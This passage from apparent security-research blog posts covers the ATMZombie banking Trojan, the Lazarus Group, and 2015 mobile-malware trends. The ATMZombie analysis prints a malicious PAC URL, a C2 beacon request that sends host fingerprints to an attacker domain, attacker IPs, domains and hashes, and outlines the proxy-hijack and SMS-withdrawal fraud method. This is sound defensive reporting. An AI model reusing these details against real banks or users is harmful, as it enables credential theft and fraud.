The threat actor seems to be widely active in banking malware campaigns, as he was found to be registering domains for the following Trojans as well: Corebot, Pkybot and the recent AndroidLocker. However, none uses the same modus operandi. In addition, the actor is being tracked by a number of researchers and also runs rogue online services such as malware encryption and credit card dumps for sale.

Similar to the PSB-retail attack in 2012, the Retefe Banking Trojan, discovered by PaloAlto Networks last August, is quite like a big brother of ATMZombie. It contains an additional Smoke Loader backdoor, which ATMZombie lacks. The other similar banker is that identified by IBM Trusteer’s as Tsukuba.

The proxy configurations file must specifically detail the targets it is aiming at, thus it was fairly easy to spot them. The attack had successfully compromised hundreds of victim machines; however Kaspersky Lab was able to trace only a couple of dozen of them.

Bird view

The Trojan is dropped into the victim machine and starts the unpacking process. Once unpacked it stores certificates in common browsers (Opera, Firefox) and modifies their configurations to match a Man-In-The-Middle attack. It eliminates all possible proxies other than the malware’s and changes cache permissions to read-only. It than continues by changing registry entries with Base64 encoded strings that contain a path to the auto-configuration content (i.e. traffic capture conditions using CAP file syntax) and installs its own signed certificate into the root folder. Later it waits for the victim to login to their bank account and steals their credentials, logs in using their name and exploits the SMS feature to send money to the ATMZombie.

Analysis

After loading the malware executable with your favorite assembler level analysis debugger, it is possible to capture the virtual allocation procedure occurring in run-time. Putting breakpoints in the right instruction points will disclose the unpacked executable. Once the final routine is done, the MZ header will appear in memory. There are many techniques and tools, but this method was enough to unpack the malware.

Looking into the malware assembly code, we were able to identify a number of strings that were embedded in the data section for a reason. The first we spotted was a Base64 string containing a chunk of an outbound communication URL, meant to be embedded in a number of registry entries.

The string decodes to:

http://retsback.com/config/cfg.pac

Side note: It is not the PAC file that is being embedded in the browser network configuration; thus we believe that it was generated by the attacker as a backup, in case the original PAC fails.

Two other Base64 strings we found were the PAC, which was embedded in the browser network configuration; and another type of URL, which indicated the type of lateral movement the threat actor chose.

The URL in the Base64 string was appended to an HTTP request which was detected as an attempt to fingerprint the sandbox. The empty parameters are fed with the Windows ProductID, the binary’s name and an integer between one and five. The integer is the level of integrity that the malware was assigned for; where (1) is untrusted level and (5) is system level. Along with those three dynamic values is a static version value.

GET
/z/rtback.php?id=[WindowsProductID]&ver=0000002&name=[malware_filename]&ilvl=[integrity_level] HTTP/1.1
Host: retsback.com
Cache-Control: no-cache

Inspecting the binary, we found that it uses a certificate to stream data over HTTPS and securely steal the victim’s credentials.

After embedding the above certificate and proxy configurations in the victim’s machine, the browser is set to route the communication via the attackers’ server when the victim decides to login to his bank.

The victim was not only lured into downloading the malware for being a client of Israeli banks, but was also targeted for being a client of a specific bank in Israel. This requires either very good intelligence-gathering techniques or an insider that can, legitimately or not, get a hold of the list of clients. When a list of that nature is being assembled, the hunt becomes very efficient and the attackers are able to craft each email or link to a specific victim or bank.

The following is a full pseudo code of the malware:

Stepping out of the rabbit hole

The malware is only the first step of the attack. The second step involves a manual login to the hijacked accounts and submission of a wire-transfer to the account of the money mule. This is a crucial step, since crossing this step means that the malware has successfully finished its role in the attack.

Logging manually into the victim’s bank account is not something to take lightly. Many banks around the world are fingerprinting devices to make sure that the user is logging in from a trusted machine. For untrusted machines, the bank will issue extended protection mechanisms to prevent the exact attack detailed in this article. In addition, banks track anomalies and send alerts to its information security personnel.

Before victims get to the phase where they call the bank’s support team to declare that money has gone missing, the attacker issues a money transfer to the money mule’s cell phone number and Israeli Personal Identifiable Information (PII). We dubbed the money mule “Zombie”, as part of an investigation in which he found that youngsters were lured into withdrawing cash from the ATMs, in return for receiving a small amount of it. Later, they sent the rest of the money via different media, such as a post office. The campaign was named after the money mules and the technique they were instructed to use.

The technique allowed the attackers to stay anonymous and supervise the entire campaign remotely. It also points to a new type of attack, where attackers control residents of a country to operate as an insider and deliver a basic service. This service might cause its executor to be accused for committing a crime; however, the chance of proving that they were aware of the entire operation is close to none. After all, they are not doing anything malicious.

From reading the bank’s instruction, a non-registered user can study the five-year old feature and analyze the possibility of including it in the attack as a way to wire money. This feature is called “SMS transaction”; and it has been widely used for the past few years, allowing parents, for example, to send money to kids who have no credit card, while they serve in the military or study at school.

Along with a few more unique details, such as Date, Israeli ID, Name and Amount the owner of the phone will be provided with an SMS message that authorizes the cash withdraw.

Kaspersky Lab found an innovative way to protect against the proxy-changer that has existed for several years. It can be found here.

Israeli banks involved in the incident successfully stopped the attack using, among other data, the information they received from Kaspersky Lab regarding the attacker, the malicious activity and the victims.

FAQs

Q: Was the attack targeted at Israeli banks?

A: Yes

Q: Was money stolen from the banks or from victims’ accounts?

A: The money was stolen from victims’ accounts, but the bank compensated each victim. In conclusion, the bank was the one to lose revenue.

Q: Was the attack stopped completely?

A: As far as we know, the banks were able to stop the attack completely and compensate the victims.

Q: How many victims were in the attack?

A: The Kaspersky Security Network (KSN) showed dozens of victims; however, we estimate that the total number of victims reached a couple of hundreds.

Q: How much money was stolen?

A: The highest amount for one transaction was approximately 750$. We were able to find a number of money mules, about 10 different malicious binaries, and a number of banks who were victims of this attack. With this information we estimate that hundreds of thousands of dollars were stolen in this short period of time. If not for the vast investigation led, among others, by Kaspersky Lab, the amounts stolen could have soared to much larger numbers.

Q: Were the police part of the investigation?

A: We are not aware of any investigation details.

Q: In regards to attribution, who is the attacker?

A: Kaspersky Lab does not seek attribution; however, the company’s researchers have sent all the information to law enforcement to help in catching the criminals behind the campaign.

Q: What can I do to stay protected?

A: Make sure you have anti-malware product installed and install the latest patches.

IPs

91.230.211.206
185.86.77.153
91.215.154.90
88.214.236.121

Domains

retsback.com
updconfs.com
systruster.com
msupdcheck.com

Samples 6d11090c78e6621c21836c98808ff0f4 Trojan-Banker.Win32.Capper.zym 4c5b7a8187475be251d05655edcaccbe Trojan-Banker.Win32.Capper.zyt c0201ab2a45bc0e17ebd186059d5a59e Trojan-Banker.Win32.Capper.zyk 47b316e3227d618089eb1625c4202142 Trojan-Banker.Win32.Capper.zyl 84bb5a77e28b3539a8022bc3612d4f4c PAC file example d2bf165284ab1953a96dfa7b642637a8 Trojan-Banker.Win32.Capper.zyp 80440e78a68583b180ad4d3e9a676a6e Trojan-Banker.Win32.Capper.zyq d08e51f8187df278296a8c4ff5cff0de Trojan-Banker.Win32.Capper.zyg efa5ea2c511b08d0f8259a10a49b27ad Trojan-Banker.Win32.Capper.zys 13d9352a27b626e501f5889bfd614b34 Trojan-Banker.Win32.Capper.zyf e5b7fd7eed59340027625ac39bae7c81 Trojan-Banker.Win32.Capper.zyj

Operation Blockbuster revealed

Wed, 02/24/2016 - 08:10

Kaspersky Lab has joined industry alliance driven by Novetta to announce Operation Blockbuster. Just like the previous Operation SMN, this alliance brings together key players in the IT security industry, working together in an effort to disrupt and neutralize multiple cyberespionage campaigns that have been active for several years. Some of the targets of these campaigns included financial institutions, media houses and manufacturing companies, among others.

In the past, we published our research into the malware that was publicly attributed to the Sony Pictures (SPE) hack. Building on that data, Kaspersky Lab conducted more focused research into a cluster of related campaigns stretching back several years before the SPE incident. That cluster involves several malware families as well as campaigns that have not received media attention and were previously considered unrelated. By focusing primarily on instances of code-reuse and leveraging the power of Yara, Kaspersky researchers were able to proactively spot new malware variants produced by the same threat actor, codenamed by Novetta ‘The Lazarus Group’. For instance, past and current activity that we attribute to the Lazarus Group includes Wild Positron, which is also known publicly as Duuzer.

Some of our findings about Wild Positron and other associated operations were initially presented to a select audience at our Security Analyst Summit (SAS) in Tenerife, Spain, through a joint presentation between researchers from Kaspersky’s Global Research and Analysis Team and AlienVault Labs’ Research Team. Today, as part of Operation Blockbuster, together with Novetta and other industry partners, we are publishing our findings for the benefit of the wider public.

Technical highlights of SAS findings

The Lazarus Group’s activity spans multiple years, going back as far as 2009. However, their activity spikes starting with 2011. The group deployed multiple malware families throughout the years, including malware associated with Operation Troy and DarkSeoul, the Hangman malware (2014-2015) and Wild Positron / Duuzer (2015). The group is known for spearphishing attacks, which include CVE-2015-6585, which was a zero-day vulnerability at the time of discovery.

During our analysis of the malware from the SPE attack as well as the connected malware families mentioned above, we observed certain specific traits shared between samples used in separate attacks. In general, such similarities are instances of code sharing and indicate the existence of a relationship between the malware families, which can be used to paint a more complete picture of a threat actor. We describe some of these overlapping features below.

Network functionality

Rather than focus on the specific functionality of any given piece of malware, we focused on hunting for as many related malware as possible in order to better understand the practices of this threat actor. Studying multiple coding quirks within any given malware variant actually revealed these to be coding conventions implemented across both different malware families as well as entirely new samples. A simple example of code reuse is the networking functionality that includes a half-dozen hard-coded user-agents with the misspelling ‘Mozillar’ instead of Mozilla.

Misspelled Hardcoded User-Agent

This same user-agent appears across a variety of malware families including the original Destover as well as multiple loosely related variants of Hangman, a new campaign targeting Domain Controllers, and the Sconlog/SSPPMID samples.

Self-deleting scripts

Placeholder strings in the dropper (left) and the resulting self-delete bat file (right)

Another interesting convention is the use of BAT files to delete components of the malware after infection. These BAT files are generated on the fly and, while they serve their purpose of eliminating initial infection traces, they ironically double as a great way to identify the malware itself by honing in on the path-placeholder strings that generate the randomly-named BAT files on the infected systems. This convention is found across the widest berth of Hangman/Volgmer variants as well as a wealth of thus-far uncategorized samples from stretching from as far back as 2012/2013.

Basic anti-analysis techniques

Password-protected ZIP resource containing malware payload

A high-confidence indicator of correlation is the reuse of a shared password across malware droppers used to drop different malware variants. The droppers all kept their payloads within a password-protected ZIP under the resource name ‘MYRES’. The dropper contains the hardcoded password ‘!1234567890 dghtdhtrhgfjnui$%^^&fdt‘ making it trivially easy for an analyst to reach the payload. The purpose, of course, is not to stymie seasoned analysts but to halt automated systems from extracting and analyzing the payload.

Avid watchers

Hardcoded sandbox hostnames in latest iterations of the Lazarus Group malware

The target of this investigation is far from unaware of the efforts of security practitioners and AV vendors interested in their practices. Apart from including simple anti-analysis techniques, the Lazarus group’s latest malware now include a custom-tailored list of computer hostnames to watch out for. These hostnames belong to sandbox execution systems likely commonly executing their malware for the sake of generating detections. List of sandbox names have been made available on attacker forums or open blog posts. The interesting thing is that the Lazarus group’s list of sandbox hostnames includes the following:

‘XELRCUZ-AZ’ ‘RATS-PC’ ‘PXE472179’

These are three presumed sandbox hostnames unavailable in any public lists we’ve been able to identify. The attackers most likely collected these during the execution of their malware and decided to retaliate by adding logic to avoid execution on these systems. This displays a level of awareness of an attacker that is cognizant of the playing field and adapting to outwit their adversaries in the security industry.

Attacker activity

Profiling the PE compilation timestamps can provide security researchers with a method to identify the attacker’s activity throughout the years. This can be used to understand if the group’s efforts are increasing, decreasing or if certain blind spots exist.

Based on the analysis of several samples that we strongly associated with the group, we conclude the activity has been steadily growing since 2013.

Analysis of the working hours provide a possibly even more interesting pictures:

The group appears to start working around midnight (00 hrs GMT) and breaks for lunch around 3am GMT. Considering normal working hours, this indicates the attackers are probably located on a timezone of GMT+8 or GMT+9.

What is perhaps most surprising is the amount of sleep they get – which is roughly about 6-7 hours per night. This indicates a very hard working team, possibly more hard working than any other APT group we’ve analysed.

Language usage and attribution

Of course, one of the top questions here is who is behind the Lazarus group and is it a nation-state sponsored attacker?

Instead of speculating on the origin of these attacks, we prefer to provide technical facts and let the reader draw their own conclusions.

Out of the Lazarus group reference sample set compiled by our partner Novetta, just over 60% (61.9%) of them have at least one PE resource with Korean locale or language.

The analysis of the metadata extracted from several thousand samples shown above seems to indicate the attackers are probably located on a timezone of GMT+8 or GMT+9.

Additionally, many of the attacks in the past seemed to target institutions in South Korea, such as in the case of DarkSeoul. Coupled with the usage of a Hangul Word Processor zero-day by the attackers also seems to indicate that South Korea is one of their top interests.

Victim information

Based on KSN analysis and reports, we were able to put together a map with the most affected regions and countries by the Lazarus group malware. To create the map, we took the reference samples set from Novetta, removed the shared hacking tools (such as Process Hacker) and cross referenced them with KSN detections from the last twelve months. It should be noted that due to the large amount of samples (more than 1000), these detections can include researchers analysing the malware as well as multi-scanners or victims connecting by VPNs. Additionally, for such a large number of samples and detections, the geography can be influenced by the geographical popularity/distribution of Kaspersky Lab products; for instance, while many of the Lazarus group attacks were directed at targets in South Korea, our customer base there is relatively small and doesn’t offer a solid perspective on the infections there.

Finally, some of the malware from the Lazarus group appears to be self-spreading (worms) which affect the overall statistics if we look at it from a targeted attacks point of view.

Nevertheless, these statistics provide an overall image of Lazarus group malware detections as observed by our products over the last 12 months.

Conclusions

Our research into the Lazarus group conducted over the past several years confirms the existence of a connection between various campaigns such as Operation DarkSeoul, Operation Troy and the SPE, which we believe to be fitting under the umbrella of a single threat actor. Their focus, victimology, and guerilla-style tactics indicate a dynamic, agile and highly malicious entity, open to data destruction in addition to conventional cyberespionage operations.

During the last two years, the number of destructive attacks has grown considerably. We’ve written about some of them in our blog ‘Five Wipers in the Spotlight‘. As observed in these incidents, this kind of malware proves to be a highly effective type of cyber-weapon. The power to wipe thousands of computers at the push of a button represents a significant bounty to a CNE team tasked with disinformation and the disruption of a target enterprise. Its value as part of hybrid warfare, where wiper attacks are coupled with kinetic attacks to paralyze a country’s infrastructure remains an interesting thought experiment closer to reality than we can be comfortable with.

As we predicted, the number of wiper attacks grows steadily. It will continue to rise exponentially as media and governments respond in a way that raises the profile of the perpetrators in a politically beneficial manner. Millions of dollars in losses, disabled operational capabilities, and reputational loss will continue to haunt the victims in the wake of the Lazarus group and other actors willing to perpetrate these devastating attacks.

Together with our industry partners, we are proud to put a dent in the operations an unscrupulous actor willing to leverage these devastating techniques.

Mobile malware evolution 2015

Tue, 02/23/2016 - 06:00

The year in figures

In 2015, Kaspersky Lab detected the following:

  • 2,961,727 malicious installation packages
  • 884,774 new malicious mobile programs – a threefold increase from the previous year
  • 7,030 mobile banking Trojans
Trends of the year
  • Rise in the number of malicious attachments the user is unable to delete.
  • Cybercriminals actively using phishing windows to conceal legitimate apps.
  • Growth in the volume of ransomware.
  • Programs using super-user rights to display aggressive advertising.
  • Increase in the quantity of malware for iOS.
Main methods of monetization

Mobile malware continues to evolve towards monetization, with malware authors trying to ensure their creations are capable of making money from their victims.

Stealing money from user bank accounts

Mobile Trojans targeting user bank accounts continue to develop – in 2015, we detected 7,030 new mobile banking Trojans. Some malicious mobile programs work in combination with Windows-based Trojans to capture mTAN passwords (one-time passwords used in two-factor authentication) that are used for authorizing bank transactions. Many of the other mobile programs used to steal money from user bank accounts operate independently.

Some mobile malware is capable of overlaying the on-screen display of a legitimate banking app with that of a phishing window that imitates the app. The most notable examples of this type of program are Trojan Trojan-SMS.AndroidOS.OpFake.cc and the representatives of the Trojan-Banker.AndroidOS.Acecard family. One of the OpFake.cc modifications can imitate the interface of more than 100 legitimate banking and finance apps. The Acecard family can imitate at least 30 banking apps and also has functionality to overlay any app that the C&C server commands.

In Q2 2015, we wrote about Trojan-Spy.AndroidOS.SmsThief.fc whose malicious code was embedded in a legitimate banking app without affecting its performance. This meant it was highly unlikely a user would notice the malware.

The authors of mobile malware are taking an increasingly integrated approach to stealing money: it is no longer limited to special banking Trojans targeting banking apps.

An example of this approach is Trojan-SMS.AndroidOS.FakeInst.ep. What the users see is a message, purportedly from Google, demanding that they open Google Wallet and go through an ‘identification’ procedure that involves entering their credit card details (one of the reasons given is the need to combat cybercrime). The window cannot be removed until the victim enters their credit card details.

Once users enter the required data, it is sent to attackers, and the window closes. Meanwhile, the Trojan continues to steal information and send additional information to its owners about the smartphone and its user.

Against a background of slowing growth in the number of specialized banking Trojans, the total number of apps that can steal money from users is growing. This comes at a time when banking Trojans are becoming more sophisticated and versatile – they are often capable of attacking customers of dozens of banks located in a variety of countries. This means cybercriminals do not need lots of different files to attack the customers of different banks.

Ransomware

The amount of Trojan-Ransom families doubled in 2015 compared to the previous year, while the number of detected modifications increased 3.5 times. This means some criminals are switching to ransomware to steal money, and those who were already doing so are continuing to create new versions of the malware. Yet another key indicator confirming the importance of this class of threat is the number of people who were attacked: in 2015, this figure increased fivefold.

In most cases when these Trojans block a device, the user is accused of committing some alleged misdemeanor, and has to pay to unblock the device – the ransom can range from $12 to $100. The blocked device is rendered inoperable – the user only sees a window with the ransom demand. Some Trojans are capable of overlaying system dialog boxes, including those used to switch off the phone.

The window opened by Fusob

At the end of the year we detected several Trojan downloaders that downloaded Trojan-Ransom.AndroidOS.Pletor in the system. These Trojan downloaders exploit vulnerabilities in the system to gain super-user privileges on the device and install Trojan-Ransom malware in the system folder. Once installed, this Trojan is almost impossible to remove.

SMS Trojans remained a serious threat, particularly in Russia. These programs send paid text messages from an infected device without the user being aware. Although their share in the overall flow of mobile threats continues to decline, the number of SMS Trojans in absolute terms remains substantial.

Some SMS Trojans are not limited to the sending of text messages to premium numbers; they can also connect the user to paid subscriptions. In 2015, we kept track of how Trojan-SMS.AndroidOS.Podec – still one of the most popular Trojans among cybercriminals – was developing. This Trojan boasts an unusual feature: its main method of monetization is paid subscriptions. It is capable of bypassing Captcha, and its latest modifications have “lost” the ability to send text messages as its creators have focused on subscriptions.

Aggressive advertising

In 2015, we recorded an increase in the number of programs that use advertising as the main means of monetization. The trend of the year was Trojans using super-user privileges. In the first quarter of 2015, the mobile malware TOP 20 contained just one Trojan of this type; by the end of the year they made up more than half of the rating. Despite the fact that these Trojans are designed to download and install advertising applications without the user’s knowledge, they can cause a lot of problems. Once installed, they try to root the device and install their own components in the system making them difficult to remove. Some of them remain on a smartphone even after resetting to factory settings. As a result, the user is inundated with annoying ads on the device. They can also install lots of other programs, including malware, on the device without the user being aware. There have been cases of this type of program being distributed in the official firmware of devices or being pre-installed on new phones.

Malware in official stores

In early October 2015 we came across several Trojans in the official Google Play Store that stole user passwords from the Russian social network VKontakte. These were Trojan-PSW.AndroidOS.MyVk.a and Trojan-PSW.AndroidOS.Vkezo.a. About a month later we detected a new modification of the Trojan Vkezo which was also distributed via Google Play Store. The attackers published these Trojans 10 times in the official app store under different names over a period of several months. The number of downloads for all versions of these Trojans was put at between 100 000 and 500 000. Yet another Trojan detected in Google Play Store was Trojan-Downloader.AndroidOS.Leech; it was also downloaded between 100 000 and 500 000 times.

Malware for iOS

In 2015, the number of malicious programs for iOS increased 2.1 times compared to 2014.

The recent emergence of malicious apps in the App Store once again demonstrated that, contrary to popular belief, iOS is not invulnerable to malware. The attackers did not hack App Store, but instead posted a malicious version of Apple’s Xcode, a free set of tools that developers use to create applications for iOS, on the Internet.

Apple’s Xcode is officially distributed by Apple, but it is unofficially spread by third parties. Some Chinese vendors prefer to download the development tools from local servers. Someone posted an Xcode version containing malicious XcodeGhost on a third-party server in China. Malicious code is embedded in any application compiled using this version of Xcode.

XcodeGhost infected dozens of applications. Initially it was thought that 39 infected apps had bypassed the Apple testing procedure and had been successfully downloaded to the App Store. The most popular of them was WeChat, a free messenger installed on more than 700 million user devices. Apple removed the infected apps. However, the hacked version of Xcode was available for about six months, so the total number of infected applications might be much higher, not least because the source code for XcodeGhost was published on Github.

In early June, Trojan.IphoneOS.FakeTimer.a, a malicious program for iPhone, was detected. The Trojan targets users in Japan and can be installed on any iPhone because the attackers used an enterprise certificate to sign the Trojan. The malicious program uses phishing techniques to steal money. A similar version of the Trojan for Android – Trojan.AndroidOS.FakeTimer.a.that – has already been around for several years.

Statistics

In 2015, the volume of mobile malware continued to grow. From 2004 to 2013 we detected nearly 200,000 samples of malicious mobile code. In 2014 there were 295,539 new programs, while the number was 884,774 in 2015. These figures do not tell the whole story because each malware sample has several installation packages: in 2015, we detected 2,961,727 malicious installation packages.

From the beginning of January till the end of December 2015, Kaspersky Lab registered nearly 17 million attacks by malicious mobile software and protected 2,634,967 unique users of Android-based devices.

The number of attacks blocked by Kaspersky Lab solutions, 2015

The number of users protected by Kaspersky Lab solutions, 2015

Geography of mobile threats

Attacks by malicious mobile software were recorded in more than 200 countries.

The geography of mobile threats by number of attacked users, 2015

The number of recorded attacks greatly depends on the number of users in a country. To evaluate the danger of infection by mobile malware in various countries we calculated the percentage of our users who encountered malicious applications in 2015.

TOP 10 countries by the percentage of attacked users

Country % of attacked users* 1 China 37 2 Nigeria 37 3 Syria 26 4 Malaysia 24 5 Ivory Coast 23 6 Vietnam 22 7 Iran 21 8 Russia 21 9 Indonesia 19 10 Ukraine 19

* We excluded those countries in which the number of users of Kaspersky Lab mobile security products over the reported period was less than 25,000.
** The percentage of attacked unique users as a percentage of all users of Kaspersky Lab mobile security products in the country

China and Nigeria topped the ranking, with 37% of users of Kaspersky Lab mobile security products in those countries encountering a mobile threat at least once during the year. Most of the attacks on users in Nigeria were carried out by advertising Trojans such as the Ztrorg, Leech, and Rootnik families that make use of super-user privileges, as well as by adware.

In China, a significant proportion of the attacks also involved advertising Trojans, but the majority of users encountered the RiskTool.AndroidOS.SMSreg family. Careless use of these programs can lead to money being withdrawn from a mobile account.

Types of mobile malware

Over the reporting period, the number of new AdWare and RiskTool files detected grew significantly. As a result, their share in the distribution of new mobile malware by type also increased noticeably – from 19.6% and 18.4% to 41.4% and 27.4%, respectively.

Distribution of new mobile malware by type in 2014 and 2015

When distributing adware programs, rather primitive methods are used to attract the attention of users to the advertisements: apps are created using the icons and names of popular games or useful programs. Of course, there are lots of popular games and legitimate applications, so a lot of fake advertising apps can be generated. The more fake applications that are used, the more effective the monetization of click activity is. Yet another way of distributing adware is by embedding an advertising module in a legitimate application. This can be done by the author of the application as well as by those who want to make money by exploiting an app’s popularity: when the advertising module is embedded in a clean app without the author’s knowledge, the profits from advertising go to those who added the advert, not the author. Unlike fake apps, this complex app contains some useful functionality.

The growth in the volume of adware is caused by the increasing competition among developers of these programs. The legitimate programs that use various advertising modules are often too aggressive. Increasingly, advertising modules are delivering as much advertising as possible to the user in a variety of ways, including the installation of new adware programs. Sometimes the adware programs installed on a device can make it almost impossible to use because the user is constantly fighting with advertising windows.

RiskTool programs are especially popular in China. This is because SMS payments for content are very popular in the country. Almost any game that includes so-called internal purchases (for additional levels of a game, for example) contains an SMS payment module. In most cases, the user is notified about the potential risks associated with such purchases, but we also consider it necessary to inform our users about the risks. Because the games in question are popular, the number of RiskTool applications is constantly increasing. The main contributor to that growth was the RiskTool.AndroidOS.SMSReg family of programs.

Although AdWare and RiskTool programs do not cause direct harm to users, they can be very irritating, while RiskTool programs installed on mobile devices can lead to financial losses if used carelessly or manipulated by a cybercriminal.

The proportion of SMS Trojans in the overall flow of mobile threats decreased almost 2.4 times – from 20.5% to 8.7%. However, in 2015 we detected even more new SMS Trojans than in 2014. Activity by this type of malicious program dropped drastically in mid-2014. This was the result of an AoC (Advice-of-Charge) system being introduced by Russian operators that led to a reduction in the number of so-called affiliate programs distributing SMS Trojans, the majority of which targeted users in Russia.

Top 20 malicious mobile programs

Please note that the ranking of malicious programs below does not include potentially unwanted programs such as RiskTool or AdWare.

Name % of all attacked users* 1 DangerousObject.Multi.Generic 44.2 2 Trojan-SMS.AndroidOS.Podec.a 11.2 3 Trojan-Downloader.AndroidOS.Leech.a 8.0 4 Trojan.AndroidOS.Ztorg.a 7.6 5 Trojan.AndroidOS.Rootnik.d 6.9 6 Exploit.AndroidOS.Lotoor.be 6.1 7 Trojan-SMS.AndroidOS.OpFake.a 5.6 8 Trojan-Spy.AndroidOS.Agent.el 4.0 9 Trojan.AndroidOS.Guerrilla.a 3.7 10 Trojan.AndroidOS.Mobtes.b 3.6 11 Trojan-Dropper.AndroidOS.Gorpo.a 3.6 12 Trojan.AndroidOS.Rootnik.a 3.5 13 Trojan.AndroidOS.Fadeb.a 3.2 14 Trojan.AndroidOS.Ztorg.pac 2.8 15 Backdoor.AndroidOS.Obad.f 2.7 16 Backdoor.AndroidOS.Ztorg.c 2.2 17 Exploit.AndroidOS.Lotoor.a 2.2 18 Backdoor.AndroidOS.Ztorg.a 2.0 19 Trojan-Ransom.AndroidOS.Small.o 1.9 20 Trojan.AndroidOS.Guerrilla.b 1.8

* Percentage of users attacked by the malware in question, relative to all users attacked

First place is occupied by DangerousObject.Multi.Generic (44.2%), used in malicious programs detected by cloud technologies. Cloud technologies work when the antivirus database contains neither the signatures nor heuristics to detect a malicious program, but the cloud of the antivirus company already contains information about the object. This is basically how the very latest malware is detected.

Trojan-SMS.AndroidOS.Stealer.a, which was the TOP 20 leader in 2014, came 28th in 2015.

Four places in the TOP 20 are occupied by Trojans that steal money from mobile or bank accounts as their main method of monetization. They are Trojan-SMS.AndroidOS.Podec.a, Trojan-SMS.AndroidOS.OpFake.a, Trojan.AndroidOS.Mobtes.b and Backdoor.AndroidOS.Obad.f. Trojan-SMS.AndroidOS.Podec.a (11.2%) is in second place. This Trojan remained among the top three most popular mobile threats throughout 2015. To recap, the latest versions of this Trojan no longer send paid text messages. The Trojan is now fully focused on paid subscriptions, making use of CAPTCHA recognition. Trojan-SMS.AndroidOS.OpFake.a (5.6%) in 7th place is another long-term resident of the TOP 20. In 2014 it finished in 8th place and remained in the rating throughout all of 2015.

Yet another Trojan – Trojan-Ransom.AndroidOS.Small.o (1.9%) – blocks the victim’s phone and extorts money to unblock it. This mobile Trojan-Ransom program was very popular at the end of 2015 and became the only ransomware program to make the TOP 20. It first appeared in the ranking in the third quarter of 2015 in 11th place; it came 19th in the overall TOP 20 for 2015. The Trojan mostly spreads as a porn video player and targets Russian-speaking audiences.

More than half (12 out of 20) of the entries in the ranking are Trojans that use aggressive advertising as their primary means of monetization. They are Trojan-Downloader.AndroidOS.Leech.a, Trojan-Spy.AndroidOS.Agent.el, Trojan-Dropper.AndroidOS.Gorpo.a, Trojan.AndroidOS.Fadeb.a, and two modifications each of Trojan.AndroidOS.Guerrilla, Trojan.AndroidOS.Rootnik, Trojan.AndroidOS.Ztorg and Backdoor.AndroidOS.Ztorg. Unlike the usual advertising modules, these programs do not contain any useful functionality. Their goal is to deliver as many adverts as possible to the recipient using a variety of methods, including the installation of new advertising programs. These Trojans can use super-user privileges to conceal their presence in the system folder, from where it will be very difficult to dislodge them. We have come across such Trojans before, mostly in China. There was a burst of activity by these programs in 2015: most of them targeting users in China, although these Trojans have started being actively distributed worldwide. The code of the Trojans often contained the word oversea.

The other two places in the TOP 20 are occupied by Exploit.AndroidOS.Lotoor modifications used to obtain local super-user privileges.

Mobile banking Trojans

In 2015, we detected 7,030 mobile banking Trojans, which is 2.6 times less than in 2014 when 16,586 were detected. It should be noted that although the number of new malware programs fell from the previous year, these programs have become more adept and malign, and the areas of interest among cybercriminals now includes banks in numerous countries. Many mobile banking Trojans act independently, without any computer component, and target customers of dozens of banks around the world.

Number of mobile banking Trojans detected by Kaspersky Lab solutions in 2015

56,194 users were attacked by mobile banking Trojans at least once during the year.

Geography of mobile bankers

The number of attacked countries is growing: attacks by mobile banking Trojan were registered in 137 countries and territories worldwide vs 90 countries in 2014.

Geography of mobile banking threats in 2015 (number of users attacked)

Top 10 countries attacked by mobile banking Trojans (ranked by number of users attacked):

Country Number of users attacked 1 Russia 45690 2 Germany 1532 3 Ukraine 1206 4 US 967 5 Kazakhstan 804 6 Australia 614 7 South Korea 527 8 France 404 9 Belarus 380 10 Poland 324

As in the previous year, Russia topped the rating of countries attacked by mobile banking Trojans. Among the newcomers were South Korea, Australia, France and Poland. Lithuania, Azerbaijan, Bulgaria and Uzbekistan left the TOP 10.

Just how popular mobile banking Trojans are with cybercriminals in each country can be shown by the percentage of users who were attacked by these Trojans during the reporting period, relative to all attacked users.

TOP 10 countries by the percentage of users attacked by mobile banking Trojans relative to all attacked users

Country % of all attacked users* 1 South Korea 13.8 2 Australia 8.9 3 Russia 5.1 4 Austria 3.0 5 Belarus 1.9 6 US 1.8 7 Tajikistan 1.7 8 Ukraine 1.6 9 France 1.6 10 Uzbekistan 1.6

* Percentage of users attacked by mobile banking Trojans, relative to all attacked users of Kaspersky Lab’s mobile security products in the country.

A substantial portion of mobile banking attacks in South Korea were caused by representatives of the Trojan-Banker.AndroidOS.Wroba family. These Trojans are designed to steal mobile bank accounts of the largest Korean banks as well as mTans.

In Australia, the Trojan-Banker.AndroidOS.Acecard family was responsible for most infection attempts. This family is a new stage in the evolution of Backdoor.AndroidOS.Torec.a, the first Trojan for Android that made use of Tor. We detected this Trojan at the beginning of 2014, while the first banking modifications appeared in mid-2014. At that time the Trojan was distributed mainly in Russia, and only in 2015 did it begin to spread actively in Australia. One modification, which we detected in November 2015, is able to overlay the interfaces of 24 banking apps with a phishing window. Five of those apps belong to Australian banks, another four each belong to banks based in Hong Kong, Austria and New Zealand, three each to banks in Germany and Singapore, plus the PayPal app. In addition, there are modifications which target banks in the US and Russia.

Phishing windows of the Acecard Trojan

Stealing user logins and passwords by displaying a phishing window instead of the genuine app interface is not a new trick. We first came across it back in 2013 in Trojan-SMS.AndroidOS.Svpeng. In our IT threat evolution in Q1 2015 report we mentioned Trojan-SMS.AndroidOS.OpFake.cc which was capable of attacking at least 29 banking and financial apps. The latest modification of this Trojan can now attack 114 banking and financial apps. Its main goal is to steal the login credentials for bank accounts. It also overlays the windows of several popular mail applications.

In Russia, which ranked third in the TOP 10, Trojan-Banker.AndroidOS.Faketoken and Trojan-Banker.AndroidOS.Marcher were the most popular programs used by attackers. Starting in April, we saw a sharp drop in the number of attempts to infect users with representatives of the Trojan-Banker.AndroidOS.Marcher family. During the five months from April to August, the number of attacks using this Trojan decreased fivefold. It is possible that the cybercriminals were preparing attacks on users in other countries during that time, because until September 2015 activity by this family was limited almost exclusively to Russia. From September, however, about 30% of the attacks using this Trojan targeted users in Australia, Germany and France.

The aforementioned Trojan-Spy.AndroidOS.SmsThief.fc was distributed in Russia. The attackers added their code to the original banking app without affecting its performance, making this Trojan more difficult to detect.

Mobile Trojan-Ransom

In 2015, the amount of the Trojan-Ransom families doubled compared to 2014. The number of modifications detected during the same period increased 3.5 times and accounted for 6,924.

Over the reporting period, mobile ransomware attacked 94,344 unique users which is five times more than in 2014 (18,478). The share of unique users attacked by Trojan-Ransom programs relative to all users attacked by mobile malware increased from 1.1% to 3.8% during the year.

Mobile ransomware attacks were registered in 156 countries and territories at least once during the year.

Geography of mobile ransomware threats in 2015 (number of users attacked)

TOP 10 countries attacked by Trojan-Ransom malware by the number of attacked users:

